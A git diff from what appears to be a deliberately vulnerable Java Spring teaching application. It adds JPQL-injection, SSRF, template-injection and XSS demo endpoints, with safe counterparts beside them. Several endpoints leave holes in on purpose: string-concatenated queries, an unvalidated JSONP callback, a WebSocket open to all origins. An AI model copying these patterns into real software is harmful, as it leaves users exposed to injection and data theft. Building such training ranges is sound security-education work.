+import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.annotation.AuthIgnore; +import top.whgojp.common.utils.R; +import top.whgojp.modules.sqli.entity.Sqli; + +import javax.persistence.EntityManager; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; +import javax.persistence.criteria.CriteriaBuilder; +import javax.persistence.criteria.CriteriaQuery; +import javax.persistence.criteria.Root; +import java.util.List; /** - * @description ORM框架-JPA下的sql注入问题 + * @description JPA SQL注入漏洞演示 * @author: whgojp * @email: whgojp@foxmail.com - * @Date: 2024/4/28 10:20 + * @Date: 2024/4/28 10:13 */ -@Api(value = "JPAController",tags = "SQL注入3-JPA") +@Api(value = "JpaController", tags = "SQL注入-JPA") +@Slf4j @Controller @RequestMapping("/sqli/jpa") public class JPAController { @RequestMapping("") - public String sqliJdbc(){ + public String sqliJpa() { return "vul/sqli/jpa"; } -} + + @PersistenceContext + private EntityManager entityManager; + String message = ""; + + @RequestMapping("/vul1") + @ResponseBody + @AuthIgnore + @ApiOperation(value = "JPQL注入场景") + @Transactional(rollbackFor = Exception.class) + public R vul1(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = '" + username + "'"; + Query query = entityManager.createQuery(jpql); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } + + + @RequestMapping("/safe") + @ResponseBody + @ApiOperation(value = "安全查询场景") + @Transactional(rollbackFor = Exception.class) + public R safe(@RequestParam String username) { + try { + String jpql = "SELECT s FROM Sqli s WHERE s.username = :username"; + Query query = entityManager.createQuery(jpql) + .setParameter("username", username); + List results = query.getResultList(); + if (results == null || results.isEmpty()) { + return R.error("未找到记录"); + } + StringBuilder sb = new StringBuilder(); + sb.append("查询成功,找到 ").append(results.size()).append(" 条记录\n"); + for (Sqli sqli : results) { + sb.append("ID: ").append(sqli.getId()) + .append(", 用户名: ").append(sqli.getUsername()) + .append(", 密码: ").append(sqli.getPassword()) + .append("\n"); + } + message = sb.toString(); + log.info(message); + return R.ok(message); + } catch (Exception e) { + String errorMsg = e.getMessage(); + log.error("查询失败: {}", errorMsg, e); + return R.error(errorMsg); + } + } +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java index e0e0bb6..b099981 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/JdbcController.java @@ -40,11 +40,11 @@ public class JdbcController { private CheckUserInput checkUserInput; //指定数据库地址、用户名、密码 - @Value("${spring.datasource.url}") + @Value("${spring.datasource.primary.url}") private String dbUrl; - @Value("${spring.datasource.username}") + @Value("${spring.datasource.primary.username}") private String dbUser; - @Value("${spring.datasource.password}") + @Value("${spring.datasource.primary.password}") private String dbPass; @@ -63,7 +63,7 @@ public String sqliJdbcSpecial() { return "vul/sqli/JdbcSpecial"; } - @ApiOperation(value = "漏洞环境:JDBC-原生SQL语句拼接", notes = "原生sql语句动态拼接 参数未进行任何处理") + @ApiOperation(value = "漏洞场景:JDBC-原生SQL语句拼接", notes = "原生sql语句动态拼接 参数未进行任何处理") @GetMapping("/vul1") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -161,7 +161,7 @@ public R vul1( * 常用ORM框架:Hibernate、MyBatis、JPA */ - @ApiOperation(value = "漏洞环境:JDBC-预编译拼接", notes = "虽然使用了 conn.prepareStatement(sql) 创建了一个 PreparedStatement 对象,但在执行 stmt.executeUpdate(sql) 时,却是传递了完整的 SQL 语句作为参数,而不是使用了预编译的功能") + @ApiOperation(value = "漏洞场景:JDBC-预编译拼接", notes = "虽然使用了 conn.prepareStatement(sql) 创建了一个 PreparedStatement 对象,但在执行 stmt.executeUpdate(sql) 时,却是传递了完整的 SQL 语句作为参数,而不是使用了预编译的功能") @GetMapping("/vul2") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -241,7 +241,7 @@ public R vul2( } } - @ApiOperation(value = "漏洞环境:JdbcTemplate-SQL语句拼接", notes = "JDBCTemplate是Spring对JDBC的封装,底层实现实际上还是JDBC") + @ApiOperation(value = "漏洞场景:JdbcTemplate-SQL语句拼接", notes = "JDBCTemplate是Spring对JDBC的封装,底层实现实际上还是JDBC") @GetMapping("/vul3") @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -526,7 +526,7 @@ public R safe3( return R.ok(message); } case "update": - if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(id)) { + if (checkUserInput.checkSqlBlackList(id) || checkUserInput.checkSqlBlackList(username) || checkUserInput.checkSqlBlackList(password)) { log.warn("黑名单检测到非法SQL注入!"); return R.error("黑名单检测到非法SQL注入!"); } else { diff --git a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java index 62f6005..0d7160d 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java @@ -40,7 +40,6 @@ public class MyBatisController { public String sqliMyBatis() { return "vul/sqli/mybatis"; } - @ApiOperation(value = "安全代码:MyBatis-正常业务场景代码-原生方法", notes = "简单业务场景代码-增删改查使用MyBatis自带方法") @PostMapping("/safe1") @ResponseBody diff --git a/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java new file mode 100644 index 0000000..15e0522 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java @@ -0,0 +1,20 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class HibernateSqli { + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Integer id; + + @Column(name = "username") + private String username; + + @Column(name = "password") + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java deleted file mode 100644 index a5d6949..0000000 --- a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java +++ /dev/null @@ -1,30 +0,0 @@ -package top.whgojp.modules.sqli.entity; - -import io.swagger.annotations.ApiModel; -import io.swagger.annotations.ApiModelProperty; -import lombok.AllArgsConstructor; -import lombok.Data; - -import javax.persistence.*; - -/** - * @description Hibernate 实体类 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/8/5 17:18 - */ -@Entity -@Data -@Table(name = "sqli") -@ApiModel(value = "SQL注入测试表",description = "sql injection test table for mybatis") -public class Hsqli { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - @ApiModelProperty(value = "用户ID",required = true) - private Long id; - - @ApiModelProperty(value = "用户名",example = "whgojp") - private String username; - @ApiModelProperty(value = "密码",example = "12345") - private String password; -} diff --git a/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java new file mode 100644 index 0000000..3d474aa --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java @@ -0,0 +1,16 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class JpaSqli { + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; + + private String username; + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java index 1c10692..5909f86 100644 --- a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java +++ b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java @@ -4,17 +4,20 @@ import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; -import java.io.Serializable; - import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Data; +import javax.persistence.*; +import java.io.Serializable; + /** * * @TableName sqli */ +@Entity +@Table(name = "sqli") @TableName(value ="sqli") @Data @AllArgsConstructor @@ -23,6 +26,8 @@ public class Sqli implements Serializable { /** * */ + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) @TableId(type = IdType.AUTO) @ApiModelProperty(value = "用户ID",required = true) private Integer id; @@ -30,15 +35,20 @@ public class Sqli implements Serializable { /** * 用户名 */ - @ApiModelProperty(value = "用户名",example = "whgojp") + @Column(name = "username") + @ApiModelProperty(value = "用户名",example = "test") private String username; /** * 密码 */ + @Column(name = "password") @ApiModelProperty(value = "密码",example = "12345") private String password; @TableField(exist = false) private static final long serialVersionUID = 1L; + + public Sqli() { + } } \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java new file mode 100644 index 0000000..b8124ae --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java @@ -0,0 +1,22 @@ +package top.whgojp.modules.sqli.repository; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Query; +import org.springframework.data.repository.query.Param; +import top.whgojp.modules.sqli.entity.JpaSqli; + +import java.util.List; + +public interface JpaSqliRepository extends JpaRepository { + + // 安全的方法:使用方法命名约定 + List findByUsername(String username); + + // 安全的方法:使用@Query注解和参数绑定 + @Query("SELECT j FROM JpaSqli j WHERE j.username = :username") + List findUsersByUsername(@Param("username") String username); + + // 不安全的方法:使用原生SQL + @Query(value = "SELECT * FROM jpasqli WHERE username = ?1", nativeQuery = true) + List findUsersByUsernameNative(String username); +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java b/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java deleted file mode 100644 index 61dae36..0000000 --- a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java +++ /dev/null @@ -1,11 +0,0 @@ -//package top.whgojp.modules.sqli.service; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/5 18:11 -// */ -//public interface HsqliService { -// -//} diff --git a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java index aa39417..7a3bb49 100644 --- a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java +++ b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java @@ -32,7 +32,7 @@ public String fileUpload() { return "vul/ssrf/ssrf"; } - @ApiOperation(value = "漏洞环境:服务端请求伪造", notes = "原生漏洞环境,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件") + @ApiOperation(value = "漏洞场景:服务端请求伪造", notes = "原生漏洞场景,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件") @GetMapping("/vul") @ResponseBody @ApiImplicitParam(name = "url", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) diff --git a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java index 7fa1c5c..e025238 100644 --- a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java +++ b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java @@ -38,7 +38,7 @@ public String ssti() { return "vul/ssti/ssti"; } - @ApiOperation(value = "漏洞环境:Thymeleaf模板注入", notes = "如果参数未经过滤,攻击者可以注入恶意模板参数,执行任意代码。") + @ApiOperation(value = "漏洞场景:Thymeleaf模板注入", notes = "如果参数未经过滤,攻击者可以注入恶意模板参数,执行任意代码。") @ApiImplicitParam(name = "para", value = "用户输入参数", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/vul1") public String vul1(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { @@ -46,7 +46,7 @@ public String vul1(@ApiParam(name = "para", value = "用户输入参数", requir // return "vul/ssti/vul"; // 将参数 para 传递到模板 "vul/ssti/template" // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞 - return "/vul/ssti/" + para; + return "vul/ssti/" + para; } @GetMapping("/vul2/{path}") public void vul2(@PathVariable String path) { diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java new file mode 100644 index 0000000..e1e67f6 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java @@ -0,0 +1,18 @@ +package top.whgojp.modules.xss.config; + +import org.springframework.context.annotation.Configuration; +import org.springframework.lang.NonNull; +import org.springframework.web.socket.config.annotation.EnableWebSocket; +import org.springframework.web.socket.config.annotation.WebSocketConfigurer; +import org.springframework.web.socket.config.annotation.WebSocketHandlerRegistry; + +@Configuration +@EnableWebSocket +public class XssWebSocketConfig implements WebSocketConfigurer { + + @Override + public void registerWebSocketHandlers(@NonNull WebSocketHandlerRegistry registry) { + registry.addHandler(new XssWebSocketHandler(), "/xss/websocket") + .setAllowedOrigins("*"); // 故意允许所有源,用于演示XSS风险 + } +} diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java new file mode 100644 index 0000000..18488ef --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java @@ -0,0 +1,53 @@ +package top.whgojp.modules.xss.config; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.lang.NonNull; +import org.springframework.web.socket.CloseStatus; +import org.springframework.web.socket.TextMessage; +import org.springframework.web.socket.WebSocketSession; +import org.springframework.web.socket.handler.TextWebSocketHandler; + +import java.io.IOException; +import java.util.concurrent.CopyOnWriteArraySet; + +@Slf4j +public class XssWebSocketHandler extends TextWebSocketHandler { + + private static final CopyOnWriteArraySet sessions = new CopyOnWriteArraySet<>(); + + @Override + public void afterConnectionEstablished(@NonNull WebSocketSession session) { + sessions.add(session); + log.info("WebSocket connection established - Current connections: {}", sessions.size()); + try { + session.sendMessage(new TextMessage("Connected successfully")); + } catch (IOException e) { + log.error("Failed to send welcome message: {}", e.getMessage()); + } + } + + @Override + protected void handleTextMessage(@NonNull WebSocketSession session, @NonNull TextMessage message) { + log.info("Received message: {}", message.getPayload()); + // 故意不过滤消息内容,用于演示XSS风险 + broadcast(message); + } + + @Override + public void afterConnectionClosed(@NonNull WebSocketSession session, @NonNull CloseStatus status) { + sessions.remove(session); + log.info("WebSocket connection closed - Current connections: {}", sessions.size()); + } + + private void broadcast(TextMessage message) { + for (WebSocketSession session : sessions) { + try { + if (session.isOpen()) { + session.sendMessage(message); + } + } catch (IOException e) { + log.error("Failed to send message to session {}: {}", session.getId(), e.getMessage()); + } + } + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java index cae747e..6c197b6 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java +++ b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java @@ -14,10 +14,6 @@ import javax.servlet.http.HttpServletRequest; import java.util.Map; -/** - * 描述: - * 创建人: 慌途L - */ @Slf4j public class ActionEnterRewrite { private HttpServletRequest request; diff --git a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java index d5ab2ec..9a63996 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java +++ b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java @@ -11,48 +11,47 @@ import java.io.File; import java.io.IOException; -import java.util.Random; +import java.util.UUID; + -/** - * 功能 : 上传文件工具类 - * 创建人 : 慌途L - */ @Slf4j public class FileUtils { public static String upLoadFile(MultipartFile file, String path) { - - if(file.isEmpty()){ + if (file == null || file.isEmpty()) { log.info("文件为空!"); return null; } + String fileName = file.getOriginalFilename(); - int size = (int) file.getSize(); - log.info(fileName + "-->" + size); - - // 取得文件的后缀名。 - String ext = fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase(); - - String newFileName = - System.currentTimeMillis() / 1000 + new Random().nextInt(100000)+"." + ext; + log.info("上传文件: {} - 大小: {}", fileName, file.getSize()); - //String path = "F:/test" ; - File dest = new File(path + "/" + newFileName); - if(!dest.getParentFile().exists()){ //判断文件父目录是否存在 - dest.getParentFile().mkdir(); + String ext = getFileExtension(fileName); + String newFileName = generateUniqueFileName(ext); + + return saveFile(file, path, newFileName); + } + + private static String getFileExtension(String fileName) { + return fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase(); + } + + private static String generateUniqueFileName(String ext) { + return UUID.randomUUID().toString() + "." + ext; + } + + private static String saveFile(MultipartFile file, String path, String newFileName) { + File dest = new File(path, newFileName); + if (!dest.getParentFile().exists()) { + dest.getParentFile().mkdirs(); } + try { - file.transferTo(dest); //保存文件 + file.transferTo(dest); return newFileName; - } catch (IllegalStateException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - return null; } catch (IOException e) { - // TODO Auto-generated catch block - e.printStackTrace(); + log.error("文件保存失败", e); return null; } } } - diff --git a/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java new file mode 100644 index 0000000..3c4a30f --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java @@ -0,0 +1,17 @@ +package top.whgojp.modules.xss.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@RequestMapping("/xss") +public class JsonpController { + + @GetMapping("/jsonp") + public String handleJsonp(@RequestParam String callback) { + // 故意不验证callback参数,直接拼接返回 + return callback + "(" + "{\"message\": \"Hello from JSONP\"}" + ");"; + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java index 774050e..727ce23 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java @@ -84,7 +84,7 @@ public R hackCookie(@RequestParam String cookie, HttpServletRequest request) { private UploadUtil uploadUtil; // 文件上传接口 - @ApiOperation(value = "漏洞环境:文件上传导致存储XSS", notes = "原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果") + @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果") @RequestMapping("/vul1Upload") @ResponseBody @SneakyThrows @@ -122,14 +122,14 @@ public R vul1Upload(@RequestParam("file") MultipartFile file, return R.error(res); } } - @ApiOperation(value = "漏洞环境:模版引擎解析导致存储XSS", notes = "") + @ApiOperation(value = "漏洞场景:模版引擎解析导致存储XSS", notes = "") @GetMapping("/vul2OtherTemplate") - public String vul2OtherTemplate(@RequestParam("content") String content, + public String vul2OtherTemplate(@RequestParam("payload") String payload, @RequestParam("type") String type, Model model) { if ("html".equals(type)) { - model.addAttribute("html", content); + model.addAttribute("html", payload); } else if ("text".equals(type)) { - model.addAttribute("text", content); + model.addAttribute("text", payload); } return "vul/xss/other"; } diff --git a/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java new file mode 100644 index 0000000..e5d8e82 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java @@ -0,0 +1,20 @@ +package top.whgojp.modules.xss.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +@Controller +@RequestMapping("/xss/postmessage") +public class PostMessageController { + + @GetMapping("/sender") + public String sender() { + return "vul/xss/postmessage/sender"; + } + + @GetMapping("/receiver") + public String receiver() { + return "vul/xss/postmessage/receiver"; + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java index 753e357..7df5caf 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java @@ -12,11 +12,11 @@ import org.thymeleaf.util.StringUtils; import top.whgojp.common.utils.CheckUserInput; import top.whgojp.common.utils.R; +import top.whgojp.modules.xss.controller.base.XssBaseController; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpUtils; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -27,64 +27,56 @@ * @Date: 2024/5/20 16:55 */ @Slf4j -@Api(value = "ReflectController", tags = "跨站脚本-反射型XSS") +@Api(value = "ReflectController", tags = "跨站脚本 - 反射型XSS") @Controller @CrossOrigin(origins = "*") @RequestMapping("/xss/reflect") -public class ReflectController { +public class ReflectController extends XssBaseController { + @Autowired private CheckUserInput checkUserInput; - @RequestMapping("") - public String xssReflect() { - return "vul/xss/reflect"; - } - @RequestMapping("/vul") - public String xssReflectVul() { - return "vul/xss/reflect-vul"; - } - @RequestMapping("/safe") - public String xssReflectSafe() { - return "vul/xss/reflect-safe"; - } + @RequestMapping("/{view}") + public String reflect(@PathVariable String view) { + return isValidView(view) ? "vul/xss/reflect/" + view : "error/404"; + } - @ApiOperation(value = "漏洞环境:GET型与POST型", notes = "原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果") + @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果") @RequestMapping("/vul1") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R vul1(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { - log.info("反射型XSS:" + content); - return R.ok(content); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R vul1(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { + return handleXssPayload(payload, "反射型-GET/POST型", false); } - @ApiOperation(value = "漏洞环境:String", notes = "原生漏洞环境,未加任何过滤,Controller接口返回String") + @ApiOperation(value = "漏洞场景:String", notes = "原生漏洞场景,未加任何过滤,Controller接口返回String") @GetMapping("/vul2") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String vul2(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { - - return content; + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public String vul2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { + log.info("[+]XSS-反射型-String型:" + payload); + return payload; } @SneakyThrows - @ApiOperation(value = "漏洞环境:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS") + @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS") @GetMapping("/vul3") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public void vul3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content, HttpServletResponse response) { + public void vul3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) { switch (type) { case "html": - response.getWriter().print(content); - log.info("反射型XSS,Content-Type:text/html;charset=utf-8:" + content); + response.getWriter().print(payload); + log.info("[+]XSS-反射性-Content-Type:text/html;charset=utf-8:" + payload); response.setContentType("text/html;charset=utf-8"); response.getWriter().flush(); break; case "plain": - log.info("反射型XSS,Content-Type:text/plain;charset=utf-8:" + content); - response.getWriter().print(content); + log.info("[+]XSS-反射性-Content-Type:text/plain;charset=utf-8:" + payload); + response.getWriter().print(payload); response.setContentType("text/plain;charset=utf-8"); // response默认返回Content-Type类型是text/plain response.getWriter().flush(); break; @@ -95,44 +87,51 @@ public void vul3(@ApiParam(name = "type", value = "类型", required = true) @Re break; } } + private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$"; private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX); @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据") - @RequestMapping("/safe1") + @GetMapping("/safe1") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe1(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { + public R safe1(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { String filterContented = ""; switch (type) { case "frontEnd": - filterContented = content; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题) + log.info("[-]XSS-反射性-前端白名单过滤:" + payload); + filterContented = payload; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题) break; case "backEnd": - Matcher matcher = pattern.matcher(content); - if (matcher.matches()){ - return R.ok(content); - }else return R.error("输入内容包含非法字符,请检查输入"); + log.info("[-]XSS-反射性-后端白名单过滤:" + payload); + Matcher matcher = pattern.matcher(payload); + if (matcher.matches()) { + return R.ok(payload); + } else return R.error("输入内容包含非法字符,请检查输入"); } return R.ok(filterContented); } + @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行") - @RequestMapping("/safe2") + @GetMapping("/safe2") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String safe2(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletResponse response) { - response.setHeader("Content-Security-Policy","default-src self"); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public String safe2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) { + response.setHeader("Content-Security-Policy", "default-src self"); response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; other-uri /xss/reflect/csp-other-endpoint"); - return content; + log.info("[-]XSS-反射性-内容安全策略-CSP防护:" + payload); + return payload; } + @GetMapping("/a-safe2-CSP-front") - public String safeCSPFront(){ + public String safeCSPFront() { return "vul/xss/csp-protect"; } + @PostMapping("/csp-report-endpoint") public void receiveCSPReport(@RequestBody String reportData) { // 获取当前时间 @@ -152,27 +151,30 @@ public void receiveCSPReport(@RequestBody String reportData) { // System.err.println("Error writing CSP violation other to file: " + e.getMessage()); // } } + @ApiOperation(value = "安全代码:特殊字符实体转义", notes = "特殊字符实体转义是一种将 HTML 中的特殊字符转换为预定义实体表示的过程。这种转义是为了确保在 HTML 页面中正确显示特定字符,同时避免它们被浏览器误解为 HTML 标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞。") - @RequestMapping("/safe3") + @GetMapping("/safe3") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { + public R safe3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { String filterContented = ""; - switch (type){ + switch (type) { case "manual": - content = StringUtils.replace(content, "&", "&"); - content = StringUtils.replace(content, "<", "<"); - content = StringUtils.replace(content, ">", ">"); - content = StringUtils.replace(content, "\"", """); - content = StringUtils.replace(content, "'", "'"); - content = StringUtils.replace(content, "/", "/"); - filterContented = content; + payload = StringUtils.replace(payload, "&", "&"); + payload = StringUtils.replace(payload, "<", "<"); + 